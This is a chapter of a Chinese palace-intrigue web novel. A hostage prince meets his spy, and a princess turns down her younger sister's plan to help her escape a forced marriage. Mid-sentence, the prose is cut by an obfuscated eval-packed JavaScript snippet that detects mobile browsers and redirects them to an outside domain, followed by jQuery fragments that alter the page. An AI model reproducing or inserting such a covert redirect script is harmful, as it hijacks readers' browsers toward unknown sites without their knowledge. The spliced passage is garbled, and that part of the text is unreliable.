7.第 7 章

作品:《明月渡我

    昏黄的灯光下,宋陵游手指绕着纱布。


    屋中还留着一点她身上的幽香。


    他的动作极缓,似在心不在焉地把玩。


    浓稠的夜色之中,突然有落叶飒飒之声。


    这样的时节,树上几乎都是光秃秃的,出现这样的落叶之声,显然有些反常。


    宋陵游却连抬眼都没有,依然低垂着眼睑。


    有人悄然无声地进入屋内,身着黑色劲装,极恭敬地向宋陵游行礼道:“殿下。”


    宋陵游淡应。


    来者抬头觑了一眼,很快又重新垂首,“所有事宜都在部署之中,烨王已经登基,朝中时局明面上已经稳定,烨王不日将会派遣使臣前来郦都,殿下……可要回避?”


    宋陵游拨弄着垂下来的纱布。


    他道:“找人来郦都,不就是想看我现在过得有多惨?这么大费周折,总该让他如愿。”


    在郦都的这么多时日。


    他也已经习以为常。


    他在郦都当了这么久的质子,千里迢迢外,依然有人高枕难眠。


    黑夜沉沉,雾霭浓浓。


    夜幕之中的郦都宫闱,犹如一只蛰伏的兽类,趴伏在黑夜里。


    稍有不慎,就会落入它的腹中。


    来者还是没走。


    他犹疑许久,最后终于开口问道:“殿下,今日来的那位女子,可要查清底细?她毕竟是郦都公主,若是蓄意接近,只怕会是隐患。”


    灯火依旧在燃烧。


    只是窗外风大,烛火都忽明忽暗。


    宋陵游终于停下把玩的动作,手指懒散地撑在下颔边,随意地叩击着脸侧。


    “不必,”他语气淡淡,“一个无关紧要的人而已。”


    ·


    楚泠踏着夜色回到沉香殿。


    殿中,一位年方及笄的少女正端坐在小榻上,待楚泠前来,她这才慌忙起身,放下原本拿在手里的茶盏,“阿姊。”


    太后唯一的女儿,楚姣姣。


    先帝身子匮乏后宫中子嗣稀少,楚姣姣是他中年得女,宫中行十,自幼尊宠无数,真正的贵不可极。


    更难能可贵的是,这样被娇惯着长大的公主,却没有养成娇纵任性的性子。


    楚泠将身上的兜帽取下,温声回道:“姣姣。”


    楚姣姣看向楚泠,看她的眼睫上似乎是沾了些霜露,忍不住问道:“雪后寒重,阿姊病才养好,这是有什么要事外出?”


    楚泠以手挡唇轻声咳了下。


    她回道:“没有什么事。”


    楚泠显然是不想多谈。


    楚姣姣很是懂事,也不会寻根究底,没有再问。


    转而直入她今日前来的目的。


    楚姣姣是从母妃那里得知楚泠被赐婚给尉迟延的事情的。


    现今宫闱局势多变,好在楚姣姣早些年就被定下亲事,但也被太后勒令,今后少在宫中走动,直到她出嫁的那天。


    “宫变那日以后,母妃寻常不太让我出去,我也是寻了由头,这才能偷偷溜出去前来沉香殿。”


    楚姣姣屏退宫中婢女,上前靠近楚泠,小声对她道:“我今日才从母妃那边知道,阿姊被赐婚给了尉迟延,前些时日他的手上几乎沾满了郦都宗室的血,甚至太子哥哥也是……”


    楚泠手指轻压在她唇上,“噤声。”


    自先前那场宫变以后,太子已经是不能提起的禁忌。


    稍加不慎,甚至会引来杀身之祸。


    楚姣姣忍不住缩了下身体,她尚且青稚的脸上也忍不住流露出恐惧。


    即便是无人敢闯入中宫皇后所居,可是殿外的杀伐声和火光冲天,也足以从四面八方渗入进来。


    楚姣姣才不过刚刚及笄,自幼又是被娇养长大,这段时日,想来也很是煎熬。


    楚泠忍不住摸了摸她的头发。


    楚泠对她道:“没事的,尉迟延轻易不会敢动太后身边的人的。他早些年承蒙你外祖家的点拨,若是这样忘恩负义,会遭世人不齿,加之你外祖家在陇南根基深厚,树敌过多,于尉迟延来说也是掣肘。”


    楚姣姣轻轻吸了吸鼻子。


    她的语调慢慢的,还带着鼻音。


    “即便他不会动我,但是我还是很害怕他。那天死了很多人,母妃抱着我,我听着外面的惨叫声,有血渗进宫殿里,还能闻到很浓的血腥味。”


    “我身边的宫女下午还在帮我沏茶,晚间我让她去帮我拿杏子甜羹,我等了很久,可是她再也没有回来。”


    楚姣姣蜷长的眼睫忽闪。


    她轻声地继续道:“如果我不让她去拿杏子甜羹,她不会死的。”


    这段时间,她应该很自责,很内疚。


    楚泠想。


    “把别人的因果强加在自己身上,是一件很痛苦的事情。”楚泠道,“真正的刽子手,是那些残杀无辜宫女的人,是那些本该有悯弱之心的武将。你没有做错什么,姣姣。”


    楚姣姣拖拉着鼻音。


    她点了点头,双手抱膝坐在小榻上,垂下来的发丝倾泻。


    “阿姊,我知道的。现在我只是想起来那些人,很担心你。我不想你嫁给尉迟延这样的人,我在宫宴上见过他,也知道他把谏言的臣子直接砍死在金銮殿上,这样一个暴虐恣睢的人,与他交涉都已经提心吊胆,更何况成为他的妻子……”


    楚姣姣跽坐,双手合握住楚泠的手。


    像是想传递一些暖意给楚泠。


    她一字一句对楚泠道:“阿姊,不如你逃吧。我会偷母妃的令牌给你,等你逃到陇南,那里尉迟延与新帝的势力不如我外祖家,我会暗中找人接应你,陇南以南不过百余里,就到了长诏,你在长诏隐姓埋名,不会有人找到你。”


    她的目光清澈见底,几乎像是某种幼兽。


    天真烂漫,自幼生长在爱意里面的小公主。


    楚泠想,她大概不知道自己说出这样的话,要面对怎么样的后果。


    如若不成功,被查到与楚姣姣有关,楚桓与尉迟延都是一样的睚眦必报,即便是姣姣母族显赫,也必然会被牵连受罚。


    如若成功,她出逃至长诏……


    楚泠几不可见地叹了一口气。


    那么,宫中最适宜嫁给尉迟延的人。


    就变成了楚姣姣。


    太后将姣姣教得极好,她善良,悯弱,懂事,也还带着不谙世事的天真。


    在乱世内,这样的性格,未必全然是好事。


    楚泠用篦子替她梳发。


    “姣姣,我说过,你不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517892|185651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用将别人的因果强加在你身上。”


    “可是阿姊,”楚姣姣反驳,“你怎么会是别人呢?你是我的阿姊,我可以救你。”


    楚泠停下动作,目光直视她。


    “那这件事,你的母妃也知晓吗?如果我是拿着她的令牌跑出去,即便是你与太后无事,你身边的人也会因我而死,你身边许许多多的人,就会如同那个替你拿晚膳的侍女。帮我出逃这样的风险,你外祖家也能承担吗?姣姣,你有没有想过,就算是我出逃到陇南,为了自保,你找来接应的人,也可能将这件事直接上报给尉迟延,只要我没有逃出去,他们依然可以将功抵过。”


    “我与你的确是血脉相连的姐妹,可是姣姣,你的外祖家是不可能冒着这样大的风险,来帮我出逃的。”


    “乱世之中,自保尚且不易,你外祖家族庞大,数百年的煊赫世家,延存至今,但凡行差踏错,便是数百人的命。尉迟延现在的权势几近如日中天,倘若我是你外祖家,我也不可能为了不相干的人,冒这样的险。”


    楚姣姣眼睫颤动,像是突然不知道说什么。


    沉默了许久,她才慢吞吞地小声说道:“可是阿姊……我只是想让你能活下去。”


    她没有精密的计划,也没有来得及想到那么深远的后果。


    只是想要从小一起长大的阿姊能活下去。


    楚泠的心也忍不住软了下去。


    她方才说的语气,实在太过不留情面。


    虽然是担心楚姣姣这样天真纯善的性格,容易被人利用。


    可是姣姣也不过才刚刚及笄。


    她不该这么严苛。


    楚泠缓了语气,轻声道:“总之,方才你说的话,我会当作没有听过。”


    楚姣姣起先倔强地看向她。


    僵持片刻,最终,她才泄了气地点了点头。


    ·


    楚姣姣离开的时候,窗外风雪四起。


    她身形孱弱,身量才不过到楚泠眼下,走在这样的风雪里,显得很是吃力。


    楚泠目送她走到沉香殿外。


    令桃走上前去,替楚泠撑伞挡住外面的风雪。


    令桃犹豫几瞬,对楚泠道:“十公主走的时候,好像很是难过,殿下是说了什么话伤了她的心?”


    楚泠抵唇轻咳一声,回道:“其实也没说什么,但倘若我刚及笄的时候,有人这么和我说话,估计我也是哭着回去。”


    令桃失笑,她道:“十公主性情天真纯善,殿下是为她好。”


    楚泠没再回答,只看向楚姣姣有些赌气的步伐。


    突然想到自己刚刚及笄的那年,是祯和十九年春。


    那时的自己,以为即将要嫁入长诏。


    母妃为自己准备嫁衣,她的未婚夫婿临行前,坐在高头大马上,红着耳后对自己道:“下次前来郦都,会带着三书六聘前来迎娶阿泠。”


    他郑重道:“等我。”


    可是她十六岁的时候,宋珩也没有来。


    最后一次得到他的消息,是来自长诏的使臣,还带来了一个长得几乎与宋珩相差无几的少年。


    那是他的胞弟。


    被带入郦都成为质子。


    而那个带来与宋珩有关的消息——


    是他死了。